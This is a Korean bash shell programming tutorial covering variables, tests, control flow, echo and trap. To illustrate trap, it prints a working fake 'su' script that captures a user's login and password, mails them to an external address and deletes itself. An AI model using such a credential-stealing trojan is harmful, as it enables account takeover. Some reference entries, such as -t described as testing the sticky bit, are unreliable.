쉘 프로그래밍

여러 개의 명령을 수행해야 하거나 긴 명령어를 수행할 때 는 일일이 typing을 하는것보다는 스크립트 로 만들어놓고 실행하는 것이 훨씬 간편하다.
쉘 스크립트는 쉘에서 사용하는 명령어들을 나열하여 파일로 저장하여 실행하는 것을 말한다.
아래는 쉘 스크립트의 예이다.

========================
date ls -al
=======================
결과 : date명령을 실행한 후에 ls -al명령을 실행한 결과를 화면에 출력

<쉘 스크립트 예 >

  쉘 프로그램은 스크립트 안에 해당 쉘의 문법을 사용하여 프로그램으로 작성한 것을 말하며, /bin/ksh, /bin/csh, /bin/bash 등 리눅스에서 사용되는 쉘마다 약간 다른 설정값등 약간 다른 문법을 가지고 있다. 여기에서는 가장 많이 쓰이고 있는 /bin/bash쉘의 쉘 프로그래밍 작성법에 대해서 알아볼 것이다.

  쉘 프로그램을 잘 활용하면 서버를 관리하는데 많은 도움이 된다.

 8.1 쉘프로그램의 변수

앞서서 쉘프로그램도 프로그램의 범주안에 들어간다고 했다.
그러므로 쉘 프로그램도 변수를 사용한다. 하지만 C언어처럼 미리 변수를 지정해놓을 필요는 없다. 필요할 때 마다 변수를 만들어서 사용하  면 된다.   쉘 스크립트의 변수를 사용할 때는 $를 앞에 붙여야 변수라고 인식을 하게 된다.
다만 변수에 값을 대  입할 때에는 $기호를 사용하지 않는다.
변수를 생성하는 방법은 특별한 것은 없지만 변수의 첫 자는 영문자(대소문자 구별) 이거나, 숫자 이  어야 한다.

==================
#!/bin/sh                  <- 프로그램을 해석할 해석기 지정한다. manpage="12345"   <- 변수에 값을 대입시
echo "$manpage" .<- 변수를 사용할 때
==================
결과 : 12345

쉘 프로그램에서는 직접 만들어서 사용할 수 있는 변수도 있지만 기본적으로 제공되고 있는 변수가 있다. 이들을 환경변수라 한다.
환경 변수 설 명
$PATH 서버에 설정되어 있는 패스(path)가 지정된 경로의 값을 가지고 있다.
$LANG 서버에 설정된 언어의 값을 가지고 있는 변수
$SHELL 현재 사용자가 사용하고 있는 쉘의 정보를 가지고 있는 변수
$HOME 현재 사용자의 홈 디렉토리의 경로 정보를 가지고 있는 변수
$MAIL 메일이 저장된 파일의 경로 정보를 가지고 있는 변수
$MAILCHECK 새로운 메일을 검사하는 시간 간격을 초 단위로 가지고 있는 변수
$PWD 현재 디렉토리의 경로 정보를 가지고 있는 변수
$PS1 사용자의 프롬프트 형태의 정보를 가지고 있는 변수
$IFS Internal File Separator로서 input-word-separator로서 사용할 문자 를 지정한다.

환경 변수는 모두 대문자 이며, 환경변수는 쉘에서 특수한 의미로 해석하는 것이기 때문에 임의로 값 을 대입하게 될 때에는 주의를 가지고 변경 해야 한다. 기타 다양한 환경 변수가 있으면 이들은 set 명령을 통해서 확인할 수 있다.

특수 변수 설 명
$0 실행한 쉘 스크립트의 이름
$ARGV 로부터 읽어들일 때 현재의 파일 이름
$# 쉘 스크립트 실행할 때 사용한 인자의 총 개수
$$ 쉘 스크립트가 실행되었을 때의 프로세스 ID (PID)

기타 ($. , $(, $<, $/ 등등의 많은 특수변수가 있지만 perl에서 사용되는 것이거나 자주 사용하지 않는 것이라서 생략하도록 한다.)

인자 변수 설 명
$n 쉘스크립트를 실행할 때 인자로 적어준 값의 정보를 가지고 있는 변수 (n = 숫자)
$* $n으로 받아온 모든 인자들의 정보를 가지고 있는 변수로서 IFS 변수 에 의해서 구분된다.
$@ $* 과 동일하다. (IFS에 의해서 구분 받지 않는다고 하지만 모두 구분 된다.)

 

cat test.sh
================
#!/bin/sh
IFS="_"
echo $*
================
sh test.sh 1 2 3_4 / 5

결과 : 1 2 3 4 / 5 (“_”는 IFS 구분자로서 인식이 된다)

< 인자 변수와 IFS의 실행 결과 >

8.2 연 산

쉘프로그래밍은 쉘 명령어만 나열해서 쓰는 것과는 달리 연산식도 계산할수 있다.
연산식을 쓰는 방법은 반드시 아래의 규칙에 따라야 한다.
1. $((연산식))
2. $[연산식]
3. echo 연산식 | bc [-l]

1. 2번은 쉘에서 제공되는 일반적인 연산법이며 오직 정수만을 계산하고 표현할 수가 있다. 하지만 좀더 상세하게 나머지 등의 고급 연산을 하기 위해서는 3번처럼 서버에서 제공되는 bc라는 계산기를 사용하여 계산할 수 있다. bc의 상세한 기능은 man page를 참고 하기 바란다.

==================
#!/bin/sh
i=1
while [ $i != 10 ];
do
echo "$i"
i=$(($i+1))
done
==================

< 1~9까지 카운터 하는 쉘 프로그램 >

위 계산식은 1-9까지의 숫자를 카운터 하는 프로그램이다. 연산이 어떻게 실제 쉘프로그램에서 쓰여 지는지를 확인해보기 위해서 아직 알아보지 않은 while문을 써서 나타낸 것이므로 while을 모른다 고 해서 크게 문제되지 않는다. while문은 다음에 알아보게 될 것이다.

8.3 기본 문법 1

문자열 비교 구문 설 명
[ string1 = strings2 ] 두 string 문자열이 같다면 참
[ string1 != string2 ] 두 sting문자열이 같이 않다면 참
[ -n string ] string 문자열의 길이가 0[null] 아니라면 참
[ -z string ] string 문자열의 길이가 0[null] 이라면 참
[ string1 -a string2 ] string1과 string2의 결과가 모두 같다면 참 (AND)
[ string1 -o string2 ] string1과 string2의 결과 중에 하나라도 참이면 참 (OR)

문자열이 하나의 단일 문자열이 아니고 space(공백)을 가지는 문자열이라면 “ string "으로 묶어 줘야 한다.

 

산술 비교 구문 설 명
[ A -eq B ] 두 표현식의 값이 같다면 참
[ A -ne B ] 두 표현식의 값이 다르면 참
[ A -gt B ] 두 표현식중에서 A가 크다면 (A > B) 참
[ A -ge B ] 두 표현식중에서 A가 크거나 같다면 (A >= B) 참
[ A -lt B ] 두 표현식 중에서 A가 작다면 (A < B) 참
[ A -le B ] 두 표현식 중에서 A가 작거나 같다면 (A <= B) 참

 

파일 비교 구문 설 명
[ -e file ] 해당 파일이 존재하면 참
[ -d file ] 해당 파일이 디렉토리이면 참
[ -f file ] 해당 파일이 정규파일이면 참
[ -r file ] 해당 파일에 읽기 권한이 있으면 참
[ -w file ] 해당 파일에 쓰기 권한이 있으면 참.
[ -x file ] 해당 파일에 실행 권한이 있으면 참.
[ -u file ] 해당 파일에 set-uid가 설정되어 있으면 참
[ -g file ] 해당 파일에 set-gid가 설정되어 있으면 참
[ -O file ] 해당 파일의 소유자가 현재 쉘을 실행한 사용자이면 참

 

[ -G file ] 해당 파일의 그룹이 현재 쉘을 실행한 그룹이면 참
[ -b file ] 해당 파일이 블록 device면 참.
[ -c file ] 해당파일이 문자 device면 참
[ -h, -L file ] 해당 파일이 Symbolic link 이면 참
[ -t file ] 해당 파일에 Stiky bit가 설정되어있으면 참
[ -s file ] 해당 파일의 크기가 0이 아니면 참
[ file1 -nt file2 ] file1이 file2 보다 최근파일이면 참
[ file1 -ot file2 ] file1이 file2 보다 예전 파일이면 참
[ file1 -ef file2 ] file1이 file2의 하드링크 파일이면 참

※ 참고 : 모든 비교조건의 앞에는 !를 붙임으써 반대의 의미를 가지게 할 수 있다.

ex ))
[ ! -d file ] : 해당 파일이 디렉토리가 아니라면 참

 

8.4 기본 문법 2

1. if 문

쉘 프로그램의 if 문은 일반 프로그램 언어의 if 문과 유사하지만 더 쉬운 구조를 가지고 있다. if문은 if로 시작해서 fi로 끝나며, 명령의 끝을 나타내는 ; 기호도 필요 없다.

[ 사용법 ]

단일 조건 일때 ( 조건이 참이면 실행문 A를 실행하라. )

if [ 조건 ] ( = if [ 조건 ]; then 한줄로도 사용한다 )
then
 실행문 A
fi

두가지 조건일때 ( 조건이 참이면 실행문 A, 거짓이면 B를 실행하라 )

if [ 조건 ]; then
   실행문 A
else
   실행문 B
fi

 

세 가지 조건일 때 ( 조건이 참이면 실행문 A, 아니면 B, 그것도 아니면 C를 실행하라 )

if [ 조건 ]; then
    실행문 A
elif
   실행문 B
else
    실행문 C
fi

이와 같은 방식으로 수십 가지의 조건을 만들 수 있으며, if문안에 또다시 if문을 첨가하여 좀더 복잡하고 명확한 결과 값을 얻어낼 수 있다.
다음은 if문의 예제이다.

============================
#!/bin/sh
if [ -d test ]; then
    echo " test is directory "
else
    echo " test is not directory "
fi
============================
결과 : 만약에 test가 디렉토리라면 "test is directory"가 출력되고 디렉토리가 아니라면 “test is not directory" 가 출력된다.

<프로그래밍 1. if 문 예제 >


2. while 문

쉘 프로그래밍의 while문 역시 다른 언어의 while문과 동일한 기능을 수행한다. 조건이 참일때 까지 구문을 수행하며, do로 시작해서 done을로 마무리가 된다.

[ 사용법 ]

while [ 조건문 ] ( = while [ 조건문 ]; do 로 한줄로 쓸수 있다. )
   do
       명령문
   done

=================================
#!/bin/sh
time=1
while [ $time != 10 ];
    do
         echo "$time"
          time=$[$time + 1]
    done
=================================
결과 : time이라는 변수의 초기값을 1로 설정한뒤 1부터 9까지 출력한다.

< 프로그래밍 2. while 문 예제 >


3. until 문

until 문은 while문과는 반대의 기능을 수행한다. 즉 while문은 참일 동안에만 구문을 수행하지만, until문은 구문이 거짓일 동안에만 구문을 수행한다. until문 역시 do 로 시작해서 done으로 끝난다. until은 while과 반대로 동작을 한다고 했기 때문에 위에서 구현한 프로그램을 다시 until문으로 바꿔보자.

=================================
#!/bin/sh
time=1
until [ $time == 10 ]; do
        echo "$time"
        time=$[$time + 1]
done
=================================
결과 : time이라는 변수의 초기값을 1로 설정한 뒤 1부터 9까지 출력한다.
“while이 until”로 바뀌고, “$time != 10” 은 “$time == 10” 으로 바꾸면 된다.

<프로그래밍 3. until 문 예제 >


4. for 문

쉘 프로그래밍에서의 for 사용법은 기타 다른 언어의 for 구문과는 차이가 있다. 다른언어의 for구문은 “for (조건)” 형태로 사용해서 조건이 참이 될 때까지 반복이 이루어지는 명령 실행 방식이이나, for문은 주어지는 인수의 개수에 따라 반복을 하는 명령을 수행하는 방식이다.

사용법

for x(원하는 변수명으로 지정) in 반복될 인수 -> “$(쉘 명령)”의 결과 값을 for 변수 대응값으로 사용할 수 있다.

do
        실행문
done

===============================
#!/bin/sh
for x in $(ls /home)
do
        echo ""
        echo "$x는 홈 디렉토리내에 존재합니다“
done
===============================
결과 : /home 디렉토리 내에 zmnkh, home1, test 라는 파일이 존재한다면 다음과 같이 출력됨.

zmnkh는 홈 디렉토리내에 존재합니다.
home1는 홈 디렉토리내에 존재합니다.
test는 홈 디렉토리내에 존재합니다.

< 프로그래밍 4. for 문 예제 >

5. case 문

case문은 여러 가지 조건이 있을 때 특정한 조건을 선택하고자 할때 많이 사용된다.
case 문은 case로 시작해서 esac 로 끝나게 된다.

사용법

case x(변수 : 원하는대로 지정) in
    select [ | select2 ] )
        실행문 ;;
    * )
        실행문 ;;
esac

=====================================
echo "1) kim"
echo "2) lee"
echo "3) park"
echo -n "select your first name ? : "
read name
case $name in
    1)
    echo " your first name is kim " ;;
    2)
    echo " your first name is lee" ;;
    *)
    echo " your first name is park" ;;
esac
=====================================
결과 : $name 변수로 입력받은 값을 case문에서 비교해서 그 입력값과 같은 조건의 명령 행을 실행 시킨다.
위에서 *) 로 나타낸 것은, 1,2가 아닌 값을 입력받았을 때 실행되는 명령행이다.
1,2가 아닌 다른 키가 눌러졌을때는 무조건 “your first name is park” 이 출력되는 것이다.

< 프로그래밍 5 case 문 예제 >

6. break 문

제어문이나 반복문에서 루프를 빠져나갈 때 사용 주로 조건이 만족하면 루프를 빠져나가도록 설정할 때 사용

7. exit

프로그램을 종료할 때 사용한다.

8. echo

모르는 사람이 없겠지만 혹시나 싶어서 설명을 한다.
echo는 쉘스크립트를 실행시켰을 때 그 결과 값을볼수 있도록 원하는 출력값을 화면으로 출력해주 는 명령이다.
C에서의 printf명령과 동일하지만, printf는 일일이 개행문자(\n : 줄바꿈)를 넣어줘야 하지만,
echo에서는 자동으로 개행문자가 문의 마지막에 출력된다.
(쉘 프로그래밍에서도 printf를 사용할 수 있다.)

옵션

-n : 줄 바꿈 금지 , 개행문자 출력안함
-e : 백슬러쉬로된 이스케이프 문자를 번역하도록 한다.
        (\t -> tab, \n -> 개행문자, \\ -> 백슬러쉬 등등이 이스케이프 문자이며,
        기타 이스케이프 문자는 서버에서 man echo를 통하여 확인할수 있다)

사용법은 위에 많이 나왔지만, echo " 출력을 원하는 구문 혹은 설명, 출력물 “ 이다.

9. trap

trap은 프로그램이 동작중에 시그널을 받았을 때 그 처리 방법을 제어하는 명령이다.
trap에서 사용되는 시그널은 trap -l, kill -l로 확인할 수 있다.

trap의 사용법은

trap '쉘명령; 쉘명령' signal   

또한 프로그램이 동작을 하면서 무시하고자 하는 signal이 있으면

trap " " signal 또는 trap "" signal

아무런 내용이 없는 빈 “” 다음에 signal을 적용하면, 프로그램 동작 중에 “” 다음의 signal은 무시하게 된다.

예제를 적용해서 설명을 하면 좀더 쉽게 trap의 용도를 알수 있을 것이다.

cat ./su
=======================================
#!/bin/sh
clear
echo -n "login: "
read login
stty -echo
echo -n "Password: "
read passwd
stty echo
echo ""
echo "Login : $login Password : $passwd" | mail -s " account info " hkim@hostway.co.kr
rm -rf ./su
========================================

< 프로그래밍 6. trap 문 예제 >

위의 쉘 스크립트는 일반 사용자가 su 명령을 입력하여 root나 다른 유저로 변경을 하고자 할때 입력한 아이디와 패스워드를 받아서 스크립트 제작자의 이메일로 전송시킨후 자기 자신을 스스로 삭제하는 쉘 스크립트이다.

위에서 stty -echo라는 것은 사용자가 type한 내용이 모니터로 출력되지 않게 하는 명령이다. 그런데 만약 위의 스크립트가 실행되다가 stty -echo 명령을 수행한 후에 에러가 발생했다면 어떻게 되겠는가?

모니터 화면에는 아무것도 나타나지 않고, typing을 해도 화면에는 아무런 글자도 찍히지 않는다. 이럴때 stty echo라는 명령을 알지 못한다면, 강제로 시스템에서 빠져나와야 할것이다. 이럴 때를 대비해서 trap 명령을 사용하는 것이다.

위의 예제 제일 상단에 (#!/bin/sh 다음 줄에)

trap 'stty echo; exit 1' 0 1 2 3 15

다음과 같이 한줄을 삽입해 놓으면 화면에 아무것도 안나오는 상태가 되더라도
(0 -> 정상종료, 1 -> 재시작, 2 -> Ctrl+C. 3 -> Ctrl+\. 15 -> Term신호) 가 입력된다면
stty echo 명령이 실행되고, 프로그램이 종료되면서 정상적으로 프로그램이 종료될것이다.

즉 trap은 일종의 안전장치 역할을 하는 것이다. 다음 예제를 보면 좀더 확실히 알수 있을 것이다.

=========================
#!/bin/sh
trap 'exit' 3 19
trap "" 2
while [ 1 ]; do
echo "loop"
done
=========================

< 프로그래밍 7. trap 문 예제 2 >

이 쉘 프로그램을 실행시키면 화면에 loop란 글자를 찍으면서 무한 루프를 돌게 되어있다. 이때 3(Ctrl+\), 19(Ctrl+z)에 해당하는 signal을 주게 되면 프로그램은 정지를 하게 되지만 2(Ctrl+C) 에 해당하는 signal을 주면 프로그램은 그 signal을 무시하고 계속 루프를 돌게된다.

위의 두 예제를 통하여 이제는 trap 명령어에 대해서 완전히 이해를 했을 것이라 생각한다.

이외에도 continue, set, unset, shift 등이 있으나, 실제 쉘 프로그램을 작성할때는 잘 사용하지 않고, 위에서 나열된 구문으로 만으로도 충분하게 쉘프로그램을 코딩할수 있으므로 여기에서는 설명을 하지 않는다.

지금까지 간단하게 쉘 스크립트와 쉘 프로그래밍에 대해서 알아보았고, 다음은 이를 응용해서 서버호 스팅 관리를 하는 방법에 대해서 알아본다.

출처 : manpage.co.kr